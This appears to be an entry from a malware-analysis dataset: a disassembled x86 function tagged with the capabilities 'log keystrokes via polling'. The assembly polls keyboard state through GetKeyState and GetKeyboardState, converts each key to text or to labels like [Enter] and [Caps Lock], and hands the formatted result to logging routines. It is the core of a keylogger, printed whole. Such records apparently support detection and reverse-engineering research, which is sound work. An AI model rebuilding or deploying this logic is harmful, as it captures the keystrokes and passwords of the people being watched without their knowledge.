Function at 0x40d876
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x184
mov ebx, dword [ebp + 8]
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
push ecx
mov dword [esp], 0x91
call sub.USER32.dll_GetKeyState
push eax
mov dword [esp], 0x90
call sub.USER32.dll_GetKeyState
push eax
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sub.USER32.dll_GetKeyboardState
push eax
cmp ebx, 0x22
je 0x40d9f9
ja 0x40d92b
cmp ebx, 0x11
ja 0x40d8f2
cmp ebx, 0x10
jae 0x40dba7
cmp ebx, 9
je 0x40d9a7
cmp ebx, 0xd
je 0x40d99a
cmp ebx, 8
jne 0x40da76
jmp 0x40d98d
cmp ebx, 0x14
je 0x40da3f
ja 0x40d914
cmp ebx, 0x12
je 0x40da49
cmp ebx, 0x13
jne 0x40da76
jmp 0x40da0d
cmp ebx, 0x1b
je 0x40da53
cmp ebx, 0x21
jne 0x40da76
jmp 0x40d9ef
cmp ebx, 0x27
je 0x40d9ce
ja 0x40d955
cmp ebx, 0x24
je 0x40d9e5
jb 0x40da03
cmp ebx, 0x25
je 0x40d9b4
cmp ebx, 0x26
jne 0x40da76
jmp 0x40d9c1
cmp ebx, 0x2d
je 0x40da21
ja 0x40d973
cmp ebx, 0x28
je 0x40d9db
cmp ebx, 0x2c
jne 0x40da76
jmp 0x40da2b
cmp ebx, 0x2e
je 0x40da17
cmp ebx, 0x91
jne 0x40da76
jmp 0x40da35
mov dword [esp + 8], str._Backspace_
jmp 0x40da5b
mov dword [esp + 8], str._Enter_
jmp 0x40da5b
mov dword [esp + 8], str._Tab_
jmp 0x40da5b
mov dword [esp + 8], str._Arrow_Left_
jmp 0x40da5b
mov dword [esp + 8], str._Arrow_Up_
jmp 0x40da5b
mov dword [esp + 8], str._Arrow_Right_
jmp 0x40da5b
mov dword [esp + 8], str._Arrow_Down_
jmp 0x40da5b
mov dword [esp + 8], str._Home_
jmp 0x40da5b
mov dword [esp + 8], str._Page_Up_
jmp 0x40da5b
mov dword [esp + 8], str._Page_Down_
jmp 0x40da5b
mov dword [esp + 8], str._End_
jmp 0x40da5b
mov dword [esp + 8], str._Break_
jmp 0x40da5b
mov dword [esp + 8], str._Delete_
jmp 0x40da5b
mov dword [esp + 8], str._Insert_
jmp 0x40da5b
mov dword [esp + 8], str._Print_Screen_
jmp 0x40da5b
mov dword [esp + 8], str._Scroll_Lock_
jmp 0x40da5b
mov dword [esp + 8], str._Caps_Lock_
jmp 0x40da5b
mov dword [esp + 8], str._Alt_
jmp 0x40da5b
mov dword [esp + 8], str._Esc_
mov dword [esp + 4], 0x20
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.004099d7
jmp 0x40db75
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyA
push edx
push edx
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x14a]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x108]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_ToAscii
sub esp, 0x14
dec eax
jne 0x40daea
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
push ebx
cmp ax, 1
mov ax, word [ebp - 0x14a]
movzx eax, al
jbe 0x40dadc
add eax, 0x40
mov dword [esp + 0xc], eax
jmp 0x40db43
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x411381
jmp 0x40db5f
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyA
push ecx
push ecx
mov dword [esp + 8], 0x20
lea edx, [ebp - 0x148]
mov dword [esp + 4], edx
shl eax, 0x10
mov dword [esp], eax
call sub.USER32.dll_GetKeyNameTextA
sub esp, 0xc
test eax, eax
jle 0x40dba7
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
push edx
cmp ax, 1
jbe 0x40db4d
lea eax, [ebx - 0x30]
cmp eax, 9
ja 0x40db4d
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._Ctrl_c_
jmp 0x40db5f
lea eax, [ebp - 0x148]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__s_
mov dword [esp + 4], 0x20
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.004099d7
test eax, eax
jle 0x40dba7
mov dword [ebp - 0x15c], eax
call fcn.0040d7ad
xor ecx, ecx
mov eax, dword [ebp - 0x15c]
mov edx, eax
lea eax, [ebp - 0x128]
call fcn.0040d5ee
test eax, eax
jne 0x40dba7
mov dword [0x410694], 1
mov ebx, dword [ebp - 4]
leave
ret